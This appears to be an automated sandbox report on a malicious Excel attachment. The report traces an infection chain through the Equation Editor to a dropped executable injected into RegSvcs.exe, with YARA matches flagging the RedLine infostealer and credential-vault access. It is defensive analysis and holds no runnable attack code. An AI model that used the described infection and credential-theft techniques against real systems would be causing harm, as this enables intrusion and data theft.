Source: C:\Users\user\AppData\Roaming\OIU.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to communicate with device drivers
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C0D5EB: CreateFileW,DeviceIoControl,CloseHandle, 3_2_00C0D5EB
Contains functionality to launch a process as a different user
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C01201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 3_2_00C01201
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C0E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState, 3_2_00C0E8F6
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C12046 3_2_00C12046
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BA8060 3_2_00BA8060
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C08298 3_2_00C08298
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BDE4FF 3_2_00BDE4FF
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BD676B 3_2_00BD676B
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C34873 3_2_00C34873
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BCCAA0 3_2_00BCCAA0
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BACAF0 3_2_00BACAF0
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BBCC39 3_2_00BBCC39
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BD6DD9 3_2_00BD6DD9
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BA91C0 3_2_00BA91C0
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BBB119 3_2_00BBB119
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC1394 3_2_00BC1394
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC1706 3_2_00BC1706
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC781B 3_2_00BC781B
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC19B0 3_2_00BC19B0
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BA7920 3_2_00BA7920
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BB997D 3_2_00BB997D
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC7A4A 3_2_00BC7A4A
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC7CA7 3_2_00BC7CA7
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC1C77 3_2_00BC1C77
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BD9EEE 3_2_00BD9EEE
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C2BE44 3_2_00C2BE44
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC1F32 3_2_00BC1F32
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00113670 3_2_00113670
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 5_2_001D3670 5_2_001D3670
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 7_2_00153670 7_2_00153670
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 9_2_00213670 9_2_00213670
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 11_2_00553670 11_2_00553670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00408C60 12_2_00408C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_0040DC11 12_2_0040DC11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00407C3F 12_2_00407C3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00418CCC 12_2_00418CCC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00406CA0 12_2_00406CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_004028B0 12_2_004028B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_0041A4BE 12_2_0041A4BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00418244 12_2_00418244
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00401650 12_2_00401650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00402F20 12_2_00402F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_004193C4 12_2_004193C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00418788 12_2_00418788
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00402F89 12_2_00402F89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00402B90 12_2_00402B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_004073A0 12_2_004073A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_002ED9A8 12_2_002ED9A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_002ECD90 12_2_002ECD90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_002E1030 12_2_002E1030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_002ED0D8 12_2_002ED0D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_002E0F18 12_2_002E0F18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00CF0BC0 12_2_00CF0BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00CF2DF8 12_2_00CF2DF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00D660F8 12_2_00D660F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00D62DF8 12_2_00D62DF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00D69668 12_2_00D69668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00D68849 12_2_00D68849
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00D6BD08 12_2_00D6BD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00D664B0 12_2_00D664B0
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: Order Request1_5_24.xlam.xlsx OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: String function: 00BC0A30 appears 46 times
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: String function: 00BA9CB3 appears 31 times
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: String function: 00BBF9F2 appears 40 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 0040E1D8 appears 44 times
Yara signature match
Source: sheet1.xml, type: SAMPLE Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 12.2.RegSvcs.exe.37b7770.6.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.530000.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.300000.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.300000.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.3766458.7.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.300ee8.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.b6f2ae.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.b70196.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.3766458.7.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.RegSvcs.exe.37b7770.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.RegSvcs.exe.b6f2ae.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.OIU.exe.de0000.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 3.2.OIU.exe.120000.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.RegSvcs.exe.b70196.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.OIU.exe.a40000.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 7.2.OIU.exe.6e0000.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.OIU.exe.360000.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000003.00000002.457795747.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000C.00000002.619916072.0000000000530000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000005.00000002.460633124.0000000000DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000009.00000002.464011217.0000000000360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000C.00000002.619889469.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000B.00000002.466866889.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000007.00000002.462329527.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs Cryptographic APIs: 'CreateDecryptor'
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, RsYAkkzVoy.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, Kqqzixk.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, xROdzGigX.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, ywes.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, iPVW0zV.cs Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, 1Pi9sgbHwoV.cs Cryptographic APIs: 'CreateDecryptor'
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, YUgDfWK2g4.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, YUgDfWK2g4.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winXLSX@42/18@4/3
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C137B5 GetLastError,FormatMessageW, 3_2_00C137B5
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C010BF AdjustTokenPrivileges,CloseHandle, 3_2_00C010BF
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C016C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError, 3_2_00C016C3
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C151CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode, 3_2_00C151CD
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C2A67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle, 3_2_00C2A67C
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C1648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize, 3_2_00C1648E
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BA42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource, 3_2_00BA42A2
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$Order Request1_5_24.xlam.xlsx Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR785A.tmp Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: Order Request1_5_24.xlam.xlsx Virustotal: Detection: 52%
Source: Order Request1_5_24.xlam.xlsx ReversingLabs: Detection: 68%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\OIU.exe C:\Users\user\AppData\Roaming\OIU.exe
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Users\user\AppData\Roaming\OIU.exe
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe"
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe"
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe"
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe"
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe"
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe"
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe"
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe"
Source: unknown Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1432 --field-trial-handle=1256,i,7674118080207217716,3458138178017285583,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1440 --field-trial-handle=1200,i,5669568352595894290,4267387126016238941,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\OIU.exe C:\Users\user\AppData\Roaming\OIU.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Users\user\AppData\Roaming\OIU.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1432 --field-trial-handle=1256,i,7674118080207217716,3458138178017285583,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1440 --field-trial-handle=1200,i,5669568352595894290,4267387126016238941,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: credssp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: iphlpapi.dll Jump to behavior
